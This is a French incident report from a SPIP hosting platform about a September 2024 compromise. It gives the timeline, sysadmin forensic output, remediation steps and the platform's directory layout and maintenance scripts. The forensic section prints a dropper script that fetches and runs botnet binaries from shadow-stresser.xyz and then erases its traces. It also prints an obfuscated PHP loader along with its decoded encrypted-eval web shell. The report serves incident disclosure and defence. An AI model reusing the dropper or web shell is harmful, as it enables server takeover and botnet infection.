structure des répertoires de la plateforme
Article mis en ligne le 1er octobre 2024
dernière modification le 2 octobre 2024

Lors d’un Hack de la plateforme, il est intéressant de connaître la structure tant au niveau des répertoires que des fichiers la composant.

le HACK de la plateforme de Septembre 2024

[*Pour rappel*]
La plateforme a été hackée en Septembre 2024, la connaissance des répertoires nous a permis de stopper et de rétablir celle-ci le 01/10/2024

 Chronologie de l’incident pour mémoire

  • le 22 Septembre , nous constatons que l’accès SSH ne fonctionne plus

    Infomaniak a pu reproduire le problème et l’a transmis aux administrateurs systèmes

  • le 25 Septembre Analyse des administrateurs systèmes : la perte d’accès SSH est dûe au hack.

    Nous avons "tué" le processus qui empêchait l’accès SSH mais tant que le site n’est pas nettoyé au peigne fin cela peut revenir
    Si cela vous intéresse, voici en pièce-jointe les détails de nos administrateurs systèmes (c’est technique)

Un process très étrange :

                 STARTED   UID  PPID   PID COMMAND         COMMAND                                                
Tue Sep 24 06:15:35 2024 100178    1   585 /bin/busybox nt /bin/busybox ntpd
$ lsof -p 585
COMMAND   PID      USER   FD   TYPE             DEVICE SIZE/OFF       NODE NAME
/bin/busy 585 uid100178  cwd    DIR              254,0     4096        192 /
/bin/busy 585 uid100178  rtd    DIR              254,0     4096        192 /
/bin/busy 585 uid100178  txt    REG              254,4   116607        202 /tmp/   
/bin/busy 585 uid100178    0u  IPv4         1580919333      0t0        TCP <redacted>.infomaniak.ch:42582->87.120.166.4:16379 (ESTABLISHED)
/bin/busy 585 uid100178    3u  IPv4         1572483615      0t0        TCP localhost:1172 (LISTEN)
/bin/busy 585 uid100178    5u  unix 0xffff9ecc25127000      0t0 1572489982 /home/www/.socks/spipfactory.com.sock.php8.2
/bin/busy 585 uid100178    6r   REG              254,1       42   86859786 testescal/index.php
/bin/busy 585 uid100178    7u  unix 0xffff9ed3a193bc00      0t0 1565546764 /home/www/.socks/spipfactory.com.sock.php8.2
/bin/busy 585 uid100178    9r   CHR                1,9      0t0       1033 /dev/urandom
$ cat /proc/585/environ | tr '\0' '\n'
ntpd
R=tmp
TEMP=tmp
PWD=/tmp
SHLVL=1
TMP=tmp
OLDPWD=testescal
_=./x86_64
➜ ./sbin/ipinfo.sh -b
Enter IPs, end with ^D :
87.120.166.4
Please wait
[--------------------]

IP            Reputation                    Organization                 Country  Hostname
87.120.166.4  6 reports / last: 2024-09-23  AS215127 410 Teapot Limited  Cyprus   
On voit bien la connexion vire une IP de chypre en cours.

Je kill le process à coup de kill -9 585

Check du fichier tmp :

tmp$ ls
adminer.invalid                  sess_1c011ed311cc9bc0e986426ebb08aa2f  sess_516316cb18ffb99a9153a3e54aad2676  sess_8e078418e232ad448c19f2f7c5594816  sess_c940c87b067a67db9bbced86733ce856
adminer.version                  sess_1c14e5a597bc3707d362e838c0902f3e  sess_5163ebd91850c95dc7af3942389f1635  sess_8e1858ef18344f6bedb01f3df91b6963  sess_c9635e35f0219f9c8fa92875ff347622
c81e728d9d4c2f636f067f89cc14862c       sess_1c6991237cf02de534f1c53859b190b9  sess_516a19c05b5acc5203e6397cdd46a453  sess_8e1b4b1a65396f35515785961ac7a972  sess_c99c9c323b31317114f1977d443c8fbc
d41d8cd98f00b204e9800998ecf8427e       sess_1c8987e6f795754f13656b1d91616c3c  sess_5192db14ef46d5da1fbb9c754419853e  sess_8e1dd908f7b7bbc73914d3ade997e612  sess_c9a80376864366e5256461d803abc8a4
php0tjDCh                  sess_1c8caca64ca6a6eb618fec3a8e1664b2  sess_51f0ab15028ac4351c0f1b67c939ea41  sess_8e3ae184edb488dcdfd9e91386a64ba4  sess_c9d0c7670b068c43e543f57e51cc4ab7
php2XjACX                  sess_1c95bfad4c351b3a9c237ebaf0de2006  sess_520f14ad4b10c27983cc95be11e3c0a5  sess_8e786c1ad05cefbe5e886ef1dc84a3af  sess_c9fc8592536790fd10daa3cd48186a7a
php2wxJUO                  sess_1d63d99e71acc2506a4e7f5b8c7c4732  sess_52427db8fa80d0771dc6b36cc30c59c9  sess_8ee5a00b77599716f895b12075fd4030  sess_ca061cce608fb4f68531da37337a5e23
php3JKeAr                  sess_1d9ee1f5396e8ba4307921fb5864c249  sess_526536c98fc54fd468228cb98119ff2a  sess_8f07f5f2f4d8c8d5aec9ff6cdec76d5a  sess_ca32aa449b7e666470a086078cac8571
...
1348 files and folders.
Cette infection ressemble à celle qu'on a pour les abuse ./python3.X / phpbb Je check si y'a pas son process copain qui permet de le lancer.

Liste des processes du client :

Tue Sep 24 16:26:42 2024 100178 30998 1888 php-fpm         php-fpm: pool gben.be                                                                                               
Tue Sep 24 16:26:51 2024 100178 30998 2687 php-fpm         php-fpm: pool spipfactory.fr                                                                                        
Tue Sep 24 16:26:51 2024 100178 30998 2690 php-fpm         php-fpm: pool spipfactory.fr                                                                                        
Tue Sep 24 16:27:11 2024 100178 30998 3633 php-fpm         php-fpm: pool larcenciel.be                                                                                         
Tue Sep 24 16:28:10 2024 100178 30998 6868 php-fpm         php-fpm: pool divergences.be                                                                                        
Tue Sep 24 16:28:16 2024 100178 30998 7036 php-fpm         php-fpm: pool spipfactory.fr                                                                                        
Tue Sep 24 16:28:34 2024 100178 30998 8313 php-fpm         php-fpm: pool cghnm.spipfactory.org                                                                                 
Tue Sep 24 16:28:40 2024 100178 30998 8389 php-fpm         php-fpm: pool agha.fr                                                                                               
Tue Sep 24 16:28:45 2024 100178 30998 8664 php-fpm         php-fpm: pool mcinformactions.net                                                                                   
Tue Sep 24 16:28:57 2024 100178 30998 9419 php-fpm         php-fpm: pool ag13.org                                                                                              
Tue Sep 24 16:29:09 2024 100178 30998 10124 php-fpm        php-fpm: pool larcenciel.be                                                                                         
Tue Sep 24 16:29:32 2024 100178 30998 11339 php-fpm        php-fpm: pool randosducrinchon.fr.spipfactory.org                                                                   
Tue Sep 24 16:29:32 2024 100178 30998 11341 php-fpm        php-fpm: pool flocar-sudouest.fr                                                                                    
Tue Sep 24 16:29:34 2024 100178 30998 11400 php-fpm        php-fpm: pool agha.fr                                                                                               
Tue Sep 24 16:29:35 2024 100178 30998 11525 php-fpm        php-fpm: pool agha.fr                                                                                               
Tue Sep 24 16:29:36 2024 100178 30998 11534 php-fpm        php-fpm: pool flocar-sudouest.fr                                                                                    
Tue Sep 24 16:29:38 2024 100178 29240 11629 php-fpm        php-fpm: pool agha.fr                                                                                               
Tue Sep 24 16:29:45 2024 100178 30998 11995 php-fpm        php-fpm: pool genea26provence.com                                                                                   
Tue Sep 24 16:29:48 2024 100178 30998 12280 php-fpm        php-fpm: pool agha.fr                                                                                               
Tue Sep 24 16:29:49 2024 100178 30998 12571 php-fpm        php-fpm: pool panote.org                                                                                            
Tue Sep 24 16:29:49 2024 100178 30998 12574 php-fpm        php-fpm: pool panote.org                                                                                            
Tue Sep 24 16:29:54 2024 100178 30998 12717 php-fpm        php-fpm: pool genea26provence.com                                                                                   
Tue Sep 24 16:29:55 2024 100178 30998 12726 php-fpm        php-fpm: pool gben.be                                                                                               
Tue Sep 24 16:29:58 2024 100178 30998 12762 php-fpm        php-fpm: pool amisfaiencefine.fr                                                                                    
Tue Sep 24 16:30:00 2024 100178 30998 12780 php-fpm        php-fpm: pool fleursdesakuramanga.net                                                                               
Tue Sep 24 16:30:00 2024 100178 30998 12783 php-fpm        php-fpm: pool cgmp-provence.org                                                                                     
Tue Sep 24 16:30:00 2024 100178 30998 12786 php-fpm        php-fpm: pool cgmp-provence.org                                                                                     
Tue Sep 24 16:30:00 2024 100178 30998 12807 php-fpm        php-fpm: pool amisfaiencefine.fr                                                                                    
Tue Sep 24 16:30:13 2024 100178 30998 14051 php-fpm        php-fpm: pool universitepopulairetoulouse.fr                                                                        
Tue Sep 24 16:30:13 2024 100178 30998 14053 php-fpm        php-fpm: pool universitepopulairetoulouse.fr                                                                        
Tue Sep 24 16:30:13 2024 100178 30998 14055 php-fpm        php-fpm: pool apmep-iledefrance.fr                                                                                  
Tue Sep 24 16:25:49 2024 100178 30998 31910 php-fpm        php-fpm: pool divergences.be    
Visiblement c'est bon, il n'y a plus rien si ce n'est le dossier tmp tout pourri.

En allant voir le fichier ouvert par le méchant process :

<code>
$ cd testescal/
testescal$ ls -slah
total 7.6M
4.0K drwxr-sr-x  13 uid100178 gid100178 4.0K Sep 24 16:28 .
4.0K drwxr-sr-x+ 20 uid100178 gid100178 4.0K Aug 21 08:46 ..
 24K -rw-r--r--   1 uid100178 gid100178  22K Dec 24  2023 .htaccess
8.0K -rw-r--r--   1 uid100178 gid100178 4.3K Dec 24  2023 .infomaniak-maintenance.html
4.0K -rw-r--r--   1 uid100178 gid100178   84 Dec 24  2023 .user.ini
 16K -rw-r--r--   1 uid100178 gid100178  14K Dec 24  2023 CHANGELOG.md
   0 drwxr-sr-x   2 uid100178 gid100178   71 Aug 30 08:42 IMG
 36K -rw-r--r--   1 uid100178 gid100178  35K Dec 24  2023 LICENSE
4.0K -rw-r--r--   1 uid100178 gid100178  842 Dec 24  2023 README.md
4.0K -rw-r--r--   1 uid100178 gid100178  178 Dec 24  2023 SECURITY.md
4.0K -rw-rw-rw-   1 uid100178 gid100178   28 Sep 12 10:51 cache.php
4.0K -rw-r--r--   1 uid100178 gid100178 1.8K Dec 24  2023 composer.json
 32K -rw-r--r--   1 uid100178 gid100178  31K Dec 24  2023 composer.lock
   0 drwxr-sr-x   3 uid100178 gid100178  102 Dec 24  2023 config
4.0K drwxr-sr-x  22 uid100178 gid100178 4.0K Dec 24  2023 ecrire
8.0K -rw-r--r--   1 uid100178 gid100178 4.3K Dec 24  2023 htaccess.txt
4.0K -rw-r--r--   1 uid100178 gid100178   42 Dec 24  2023 index.php
   0 drwxr-sr-x   2 uid100178 gid100178   95 Dec 24  2023 local
4.0K drwxr-sr-x   8 uid100178 gid100178 4.0K Dec 24  2023 mutualisation
7.4M -rwxrwxrwx   1 uid100178 gid100178 7.4M Sep 21 22:38 netd
4.0K drwxr-sr-x  38 uid100178 gid100178 4.0K Dec 24  2023 plugins-dist
4.0K -rw-r--r--   1 uid100178 gid100178 3.6K Dec 24  2023 plugins-dist.json
4.0K drwxr-sr-x  12 uid100178 gid100178 4.0K Dec 24  2023 prive
   0 drwxr-sr-x   4 uid100178 gid100178   72 Dec 24  2023 sites
4.0K -rw-r--r--   1 uid100178 gid100178  925 Dec 24  2023 spip.php
4.0K -rw-r--r--   1 uid100178 gid100178 1.2K Dec 24  2023 spip.png
4.0K -rw-r--r--   1 uid100178 gid100178 1.7K Dec 24  2023 spip.svg
4.0K drwxr-sr-x  10 uid100178 gid100178 4.0K Dec 24  2023 squelettes-dist
   0 drwxr-sr-x   4 uid100178 gid100178  133 Dec 24  2023 tmp
   0 drwxr-sr-x   6 uid100178 gid100178  151 Dec 24  2023 vendor
 60K -rw-rw-rw-   1 uid100178 gid100178  58K Sep  6 02:09 x86.1
4.0K -rwxrwxrwx   1 uid100178 gid100178  409 Sep 11 01:39 zJqn1kz.sh

Des fichiers ont étés modifiés récemment et m’attire l’oeil :

testescal$ file x86.1 zJqn1kz.sh  netd 
x86.1:      ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
zJqn1kz.sh: Bourne-Again shell script, ASCII text executable
netd:       ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not stripped

pas normal + le contenu est clairement un exploit :

testescal/IMG$ cat ../zJqn1kz.sh 
#!/bin/bash

binaries=("arm7" "arm4" "arm6" "m68k" "mips" "mpsl" "ppc" "sh4" "spc" "x86")
base_url="https://shadow-stresser.xyz/bins/"

for binary in "${binaries[@]}"; do
    url="${base_url}${binary}"
    if ! curl -O "$url" 2>/dev/null; then
        wget "$url" 2>/dev/null
    fi

    chmod +x "$binary" 2>/dev/null
    ./"$binary" 2>/dev/null

    history -c 2>/dev/null
    rm "$binary" 2>/dev/null
done
<code>

Je trouve rien sur https://shadow-stresser.xyz/ mais je suis certain que c'est pas un usage licite.

<code>
testescal/IMG$ cat spipp.php 
<?php
$filename = 'inc.conf';
if (!file_exists($filename)) {
    $a = "PD9jdWMKQGZyZmZ2YmFfZmduZWcoKTsKQGZyZ19ndnpyX3l2enZnKDApOwpAcmVlYmVfZXJjYmVndmF0KDApOwoKc2hhcGd2YmEgcmFwYnFyKCRRLCAkWCl7CiAgICBzYmUgKCR2ID0gMDsgJHYgPCBmZ2V5cmEoJFEpOyAkdisrKSB7CiAgICAgICAgJHAgPSAkWFskdiArIDEgJiAxNV07CiAgICAgICAgJFFbJHZdID0gJFFbJHZdIF4gJHA7CiAgICB9CiAgICBlcmdoZWEgJFE7Cn0KCiRjbmZmID0gJ2NuZmYnOwokY25seWJucUFuenIgPSAnY25seWJucSc7CiR4cmwgPSAnM3A2cjBvOG45cDE1MjI0bic7Cgp2cyAodmZmcmcoJF9DQkZHWyRjbmZmXSkpIHsKICAgICRxbmduID0gcmFwYnFyKG9uZnI2NF9xcnBicXIoJF9DQkZHWyRjbmZmXSksICR4cmwpOwoKICAgIHZzICh2ZmZyZygkX0ZSRkZWQkFbJGNubHlibnFBbnpyXSkpIHsKICAgICAgICAkY25seWJucSA9IHJhcGJxcigkX0ZSRkZWQkFbJGNubHlibnFBbnpyXSwgJHhybCk7CgogICAgICAgIHZzIChmZ2VjYmYoJGNubHlibnEsICJ0cmdPbmZ2cGZWYXNiIikgPT09IHNueWZyKSB7CiAgICAgICAgICAgICRjbmx5Ym5xID0gcmFwYnFyKCRjbmx5Ym5xLCAkeHJsKTsKICAgICAgICB9CgogICAgICAgIHJpbnkoJGNubHlibnEpOwogICAgICAgICR5cnNnID0gZmhvZmdlKHpxNSgkY25mZiAuICR4cmwpLCAwLCA1KTsKICAgICAgICAkZXJjeW5wcnFGZ2V2YXQgPSBmZ2VfZXJjeW5wcigib3FmcngiLCAkeXJzZywgImluZSBFcm9xZnJ4X3BiYXN2dD0iKTsKICAgICAgICB1cm5xcmUoJ1BiYWdyYWctR2xjcjogZ3JrZy91Z3p5Jyk7CiAgICAgICAgcnB1YiAnPCFRQlBHTENSIHVnenk+JzsKICAgICAgICBycHViICc8dWd6eSB5bmF0PSJyYSI+JzsKICAgICAgICBycHViICc8dXJucT4nOwogICAgICAgIHJwdWIgJzx6cmduIHB1bmVmcmc9IkhHUy04Ij4nOwogICAgICAgIHJwdWIgJzxndmd5cj5UcmdQYmFzdnRYcmw8L2d2Z3lyPic7CiAgICAgICAgcnB1YiAnPC91cm5xPic7CiAgICAgICAgcnB1YiAnPG9icWw+JzsKICAgICAgICBycHViICc8ZnBldmNnPic7CiAgICAgICAgcnB1YiAnPCEtLSBPbnZxaCBPaGdnYmEgT1JUVkEnOwogICAgICAgIHJwdWIgJzxmcGV2Y2cgZ2xjcj0iZ3JrZy93bmluZnBldmNnIiB2cT0ib3FmdW5lcl93ZiIgcW5nbj0iZ2xjcj1meXZxciZuemM7dnp0PTgmbnpjO2NiZj1ldnR1ZyZuemM7aHZxPTY1MzcwMjIiID48L2ZwZXZjZz4nOwogICAgICAgIHJwdWIgJzxmcGV2Y2cgZ2xjcj0iZ3JrZy93bmluZnBldmNnIiB2cT0ib3FmdXJ5eV93ZiI+PC9mcGV2Y2c+JzsKICAgICAgICBycHViICc8ZnBldmNnIGdsY3I9Imdya2cvd25pbmZwZXZjZyI+JzsKICAgICAgICBycHViICRlcmN5bnBycUZnZXZhdDsKICAgICAgICBycHViIG9uZnI2NF9yYXBicXIocmFwYnFyKEBlaGEoJHFuZ24pLCR4cmwpKTsKICAgICAgICBycHViICI7IjsKICAgICAgICBycHViICdxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgib3FmdXJ5eV93ZiIpLmZlcCA9ICJ1Z2djOi8vb3F2enQuZnVuZXIub252cWgucGJ6L2Znbmd2cC93Zi9mdXJ5eV9pMi53Zj9wcWFpcmVmdmJhPSIgKyBabmd1LnBydnkoYXJqIFFuZ3IoKS8zNjAwMDAwKTsnOwogICAgICAgIHJwdWIgJzwvZnBldmNnPic7CiAgICAgICAgcnB1YiAnLS0+JzsKICAgICAgICBycHViICc8L2ZwZXZjZz4nOwogICAgICAgIHJwdWIgJzwvb2JxbD4nOwogICAgICAgIHJwdWIgJzwvdWd6eT4nOwogICAgfSByeWZyIHsKICAgICAgICB2cyAoZmdlY2JmKCRxbmduLCAidHJnT25mdnBmVmFzYiIpICE9PSBzbnlmcikgewogICAgICAgICAgICAkX0ZSRkZWQkFbJGNubHlibnFBbnpyXSA9IHJhcGJxcigkcW5nbiwgJHhybCk7CiAgICAgICAgfQogICAgfQp9Cj8+Cg==";
    if (file_put_contents($filename, $a) === false) {
        echo "please write youself to ./inc.conf".$a;
    } 
} 
include 'php://filter/read=convert.base64-decode|string.rot13/resource=inc.conf';

Tiens tiens tiens, un base64 decode, rot13 plus tard :

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);

function encode($D, $K){
    for ($i = 0; $i < strlen($D); $i++) {
        $c = $K[$i + 1 & 15];
        $D[$i] = $D[$i] ^ $c;
    }
    return $D;
}

$pass = 'pass';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a';

if (isset($_POST[$pass])) {
    $data = encode(base64_decode($_POST[$pass]), $key);

    if (isset($_SESSION[$payloadName])) {
        $payload = encode($_SESSION[$payloadName], $key);

        if (strpos($payload, "getBasicsInfo") === false) {
            $payload = encode($payload, $key);
        }

        eval($payload);
        $left = substr(md5($pass . $key), 0, 5);
        $replacedString = str_replace("bdsek", $left, "var Rebdsek_config=");
        header('Content-Type: text/html');
        echo '<!DOCTYPE html>';
        echo '<html lang="en">';
        echo '<head>';
        echo '<meta charset="UTF-8">';
        echo '<title>GetConfigKey</title>';
        echo '</head>';
        echo '<body>';
        echo '<script>';
        echo '<!-- Baidu Button BEGIN';
        echo '<script type="text/javascript" id="bdshare_js" data="type=slide&amp;img=8&amp;pos=right&amp;uid=6537022" ></script>';
        echo '<script type="text/javascript" id="bdshell_js"></script>';
        echo '<script type="text/javascript">';
        echo $replacedString;
        echo base64_encode(encode(@run($data),$key));
        echo ";";
        echo 'document.getElementById("bdshell_js").src = "http://bdimg.share.baidu.com/static/js/shell_v2.js?cdnversion=" + Math.ceil(new Date()/3600000);';
        echo '</script>';
        echo '-->';
        echo '</script>';
        echo '</body>';
        echo '</html>';
    } else {
        if (strpos($data, "getBasicsInfo") !== false) {
            $_SESSION[$payloadName] = encode($data, $key);
        }
    }
}
?>

Voici une IP qui a essayé de contacter le reverse shell :

$ zcat  ik-logs/access.log* | grep spipp.php

gzip: ik-logs/access.log: not in gzip format
spipfactory.com 103.160.144.135 - - [30/Aug/2024:08:42:09 +0200] "GET /IMG/spipp.php HTTP/1.1" 404 985 "-" "python-requests/2.32.3"
spipfactory.com 103.160.144.135 - - [30/Aug/2024:08:42:11 +0200] "GET /IMG/spipp.php HTTP/1.1" 404 985 "-" "python-requests/2.32.3"

gzip: ik-logs/access.log-20240923: not in gzip format
Origine de l'IP

➜ ./sbin/ipinfo.sh -b
Enter IPs, end with ^D :
103.160.144.135
Please wait
[--------------------]

IP               Reputation          Organization               Country  Hostname
103.160.144.135  0 reports / last:   AS134465 M/S HARVIL MEDIA  India    free.hapihhost.in.144.160.103.in-addr.arpa.
  • le 28 septembre nous passons l’antivirus sur la plateforme (Aucune menace sur l’ensemble des sites) et Patchman Security Scanner nous signale rien au niveau de notre structure (Patchman Security Scanner neutralise les malware et répare les vulnérabilités du code)
  • le 29 septembre les sites de la plateforme sont hackés
  • le 30 Septembre nous constatons un répertoire /testescal avec un fichier douteux ZX81 (Il nous est impossible de le suprimer.) et le fichier zJqn1kz.sh

Nous demandons des précisions et le nettoyage à nos administrateurs systèmes

  • le 30 septembre fin d’après-midi : C’est bien nettoyé pour ce dossier , il y avait en effet un processus malveillant lancé avec ce fichier bloqué
  • le 31 nous demandons des précisions sur ce processus malveillant

    malheureusement nos administrateurs systèmes ne font pas d’investigation sur les origine des hacks, car cela est fréquent et lié à l’applicatif des clients.
    Par ordre de fréquence, les dépôts de fichiers malveillants se font :
     Par un composant (Plug-In, thème) obsolète ou non sécurisé
     Par un compte FTP compromis (par un malware (sous Windows souvent) sur un poste qui a initié la connexion FTP par exemple)
     Par l’accès au compte Infomaniak du client (dans le cas ou la 2FA n’est pas activée et le mot de passe compromis) (plus rare)
    Les hacks sont de plus souvent de "l’ingénierie" assez sophistiquée avec des mécanismes de dormance de scripts, de mise en abîme, de chiffrage de code malveillant par diverses méthodes.
    Retrouver l’origine d’un dépôt de fichier est passionnant mais peu prendre des heures voir des jours même pour un administrateurs systèmes averti

[*Analyse global de l’incident*]
La plateforme a été hacké en passant par le site spipfactory.com ; celui-ci été hors mutu et ne bénéficié pas de la mise a jour automatique ; Il été resté en SPIP 4.2.

[*Mesure corrective*]

  • plus aucun site sera hors mutualisation
  • Supression de l’accés FTP

Notre structure

  • Racine
/.cache infomaniak - de "composeur" : Logiciel qui permet de raccorder un ordinateur à un autre ordinateur, à un appareil électronique, au réseau Internet ou à un autre réseau numérique.
/.config infomaniak pas d’accés
/.local infomaniak - fichier Spip-cli & composer
/.ssh infomaniak - les clés SSH sont une méthode d’authentification utilisée pour accéder à une connexion chiffrée entre des systèmes
/.subversions infomaniak - Subversion est un logiciel libre de la catégorie systèmes de gestion de versions (VCS en anglais, pour Version Control System)
/adaptionsSF Répertoires & fichiers perso de la plateforme (sauvegarde, images, etc...) n’ayant pas vocation a etre sur la mutualisation (pas de visibilité
/backups infoamniak - les 6 jours de sauvegardes de la plateforme (répertoire & fichier hors bdd)
/clef fichier ODT pour la team (login & pass)
/archives les archives des fichiers clé.odt
/cron les script sh pur les taches automatique (fichier php (lance le sh) & sh)
denyfromall.php & ssh script de maj .htaccess
maj_spipfactory_fr.php & ssh script de maj SPIP + PLugins + cache/tmp
sf_voldd.php & ssh script pour conaitre le volume disk utilisé (marcel)
stef.php & ssh script de sauvegarde plateforme perso
/htaccess fichier .htaccess modifié avant maj par le script (inscription des ip a bloqué)
i/k-logs infomaniak - les logs
/mutusf les répertoires et fichiers necessaire a la mutualisation de SPIP (spip + pseudo plugin mutualisation)
/sites l’ensemble des sites de la mutualisations (les hébergés)
/spip-cli SPIP-Cli sert à interagir avec SPIP depuis la ligne de commande
/stats infomaniak - les statistiques des sites hébergés
/tmp infomaniak - fichier temporaire
.bash_history infomaniak - historique des commandes passé dans le terminal en ssh
.bash_hrc infomaniak - .bashrc est un script de l’interpréteur de commandes Bash que Bash exécute chaque fois qu’il est démarré de manière interactive.
.my.cnf le login et pass pour executer le script de sauvegarde (evite d’avoir le login et pass en dur dans le script)
.nano_history infomaniak - Historique d enano : nano est un éditeur de texte pour les systèmes Unix et dérivés
.profile commandes pour spipcli


mise a jour du htaccess contre les ip qui pose un champ leurre

## mise a jour du .htaccess

cd /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/mutusf
mv .htaccess .htaccess.old

cp -r /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/htaccess/.htaccess /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/mutusf/
echo "Mise à jour du .htaccess sur la plateforme" | mail -s "Maj .htaccess" team@spipfactory.fr



maj de spip et des plugins de la plateforme

# !/bin/bash
# date=04/09/2023 - stéphane

###maj spip + plugins + plugins-dist + plugins-dist/spipfactory
cd /mutusf/
find -type d -name ".git" -exec git —git-dir={} —work-tree=$PWD/{}/.. pull ~;

## vider l’ensemble des media orphelin des mutualisé
for repertoire in find /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/mutusf/sites/ -name orphelins |grep IMG ; do rm -rf $repertoire ; done

### vider l’ensemble des cache des mutualisé
for repertoire in find /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/mutusf/sites/ -name cache |grep tmp ; do rm -rf $repertoire ; done
for repertoire in find /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/mutusf/sites/ -name meta_cache.php |grep tmp ; do rm -rf $repertoire ; done
for repertoire in find /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/mutusf/sites/ -name plugin_xml_cache.gz |grep tmp ; do rm -rf $repertoire ; done

### on nettoie le tmp
# évite qu’un hébergé stocke x sauvegarde, sachant qu’on a déja /backup sur la mutu
for repertoire in find /home/clients/b313813ae3dfa81e21eb5a95d7ad323f/mutusf/sites/ -name dump |grep tmp ; do rm -rf $repertoire ; done

mail -s "Email de SpipFactory plateforme" team@spipfactory.fr <<< "Exécution de la tache CRON de mise a jour SPIP + Plugins"


volume du disque par hébergé

# ! /bin/bash
# Modifié le : 17/09/2022 - stéphane

cd /sites/
spipfactory=$(du -sh) #aucun espace autour du égal ! les sont désuets echo "$spipfactory" # envoie un mail si tu ne réutilise pas $spipfactory, et alors ce qui est au-dessus est inutile. echo "$(du -sh)" | mail -s "Marcel vous donne l'espace disk utilisé par les sites de la plateforme spipfactory" team@spipfactory.fr cd ~/sites/ spipfactory=$(du -sB G * | sort -k1n) #aucun espace autour du égal ! les sont désuets
echo "$spipfactory"
# envoie un mail si tu ne réutilise pas $spipfactory, et alors ce qui est au-dessus est inutile.
echo "$(du -hsx * | sort -rh | head -40)" | mail -s "Marcel donne le volume disk par sites de la plateforme spipfactory" team@spipfactory.fr

cd /sites/
spipfactory=$(du -sB G */IMG/ | egrep "^.+\/IMG\/$" | sort -k1nr)
#https://discuter.spip.net/t/connaitre-le-volume-du-repertoire-img/172378/5
echo "$spipfactory"
# envoie un mail si tu ne réutilise pas $spipfactory, et alors ce qui est au-dessus est inutile.
echo "$(du -sB G */IMG/ | egrep "^.+\/IMG\/$" | sort -k1nr)" | mail -s "Marcel donne le volume du répertoire /IMG pour chaque Hébergés de la plateforme spipfactory " team@spipfactory.fr

cd /sites/
spipfactory=$(du -sB G */squelettes/ | egrep "^.+\/squelettes\/$" | sort -k1nr) #aucun espace autour du égal ! les ` sont désuets
echo "$spipfactory"
# envoie un mail si tu ne réutilise pas $spipfactory, et alors ce qui est au-dessus est inutile.
echo "$(du -sB G */squelettes/ | egrep "^.+\/squelettes\/$" | sort -k1nr)" | mail -s "Marcel donne le volume du répertoire /squelettes pour chaque Hébergés de la plateforme spipfactory " team@spipfactory.fr



Sauvegarde des répertoires et des bdd des sites dans le répertoire /squelettes/backup

# !/bin/bash

version=0.1
cree=13.05.2019
auteur=EmmanuelPierrez

###################### Parametres ######################
host=pm7hj.myd.infomaniak.com

date_jour=$( date ’+%Y%m%d’ )
format=gzip
#tache cron infomaniak lancer une fois par semaine
#sauvegarde de la bdd sur 8 semaines glissante
retention=8 # nombre de sauvegardes

backup_dir=squelettes/backup # Repertoire de sauvegarde
skipdatabases="Database|information_schema|performance_schema|mysql"

###################### Fonctions #######################

liste_bases()
local skipdatabases="Database|information_schema|performance_schema|mysql|pm7hj_piwigo" # bases a ignorer dans la recherche, format regex
mysql "$optionSql[@]" -e "SHOW DATABASES ;" | grep -Ev "($skipdatabases)" # liste tables

# $1, liste des bases a sauvegarder
sauvegarde_bases()
local databases="$1" db output path site fichier date_fichier epoch_limite epoch_day

for db in $databases ; do
echo -n "$db "

while read -r ; do
site=$REPLY#http* ://
done <<< "$( mysql "$optionSql[@]" -e "USE $db ; SELECT valeur FROM spip_meta WHERE nom=’adresse_site’ LIMIT 1" 2>/dev/null )"

site=$site#www.
echo "site : $site"

# Pour faire des tests
#if [1] ; then

# mis a jour par stéphane suite au changement de path le 06/08/2020
path="/home/clients/b313813ae3dfa81e21eb5a95d7ad323f/sites/$site"

# date du jour en secondes
epoch_day=$( date +%s )

case $format in
sql )
output="$path/$backup_dir/$date_jour_$db.sql"
echo "##### $output #####"
mysqldump "$optionSql[@]" "$optionDump[@]" —databases "$db" > "$output" ; ;
gzip )
output="$path/$backup_dir/$date_jour_$db.sql.gz"
echo "##### $output #####"
mysqldump "$optionSql[@]" —databases "$db" | gzip —rsyncable > "$output" ; ;
esac # fin de case

# Ajouter config/mesoptions.php et repertoires squelettes et IMG a un fichier tar.gz
if [2] ; then

lastChange=$(stat -c %Y "$path/IMG/")
if (( lastChange > epoch_day-86400 )) ; then
#rm "$path/$backup_dir/fichiers_$db.tar.gz"
tar —exclude="$path/$backup_dir" -cvzf "$path/$backup_dir/fichiers_$db.tar.gz" "$path/config/mes_options.php" "$path/squelettes/" "$path/IMG/"
echo "modification recente, je refais l’archive"
else
echo "Pas de changement"
fi

# si l’archive n’existe pas Creer
else
tar —exclude="$path/$backup_dir" -cvzf "$path/$backup_dir/fichiers_$db.tar.gz" "$path/config/mes_options.php" "$path/squelettes/" "$path/IMG/"
echo "archive generee"
fi

# suppression des vieilles sauvegardes
epoch_limite=$((epoch_day-86400*retention))

# liste des fichiers dans le repertoire
shopt -s nullglob # ne pas prendre en compte les repertoires
for fichier in "$path/$backup_dir"/* ; do
nom_fichier=$fichier##/*/
date_fichier=$nom_fichier%%_*
echo "date_fichier $date_fichier"
if [3]1,8 ]] ; then
epoch_fichier=$( date —date="$date_fichier" +%s )
echo "epoch_fichier $epoch_fichier"
if (( epoch_fichier <= epoch_limite )) ; then
echo "suppression $fichier $epoch_fichier <= $epoch_limite "
rm $fichier
fi
fi
done

# fin site = amifaiencefine
#fi
done

###################### SCRIPT ##########################

# extraction du home selon session interactive ou non
if [4] ; then
home="$HOME"
elif [5] ; then
home=$( dirname "$TMP" )
else
exit 1
fi

source $home/.my.cnf 2>/dev/null

optionSql=(
"—host=$host"
"—port=$port :=3306"
"—protocol=$protocol :=tcp"
"—user=$user"
"—password=$password"
)

# sauvegarde
sauvegarde_bases "$( liste_bases )"

mail -s "Email de SpipFactory plateforme" team@spipfactory.fr <<< "Exécution de la tache CRON de sauvegarde des sites hébergés dans le répertoire /backup"


« Sur SpipFactory rien ne se perd, rien ne s’efface vraiment, comme sur le net »
Plan du site Contact Mentions légales

2017-2026 © SpipFactory - Tous droits réservés
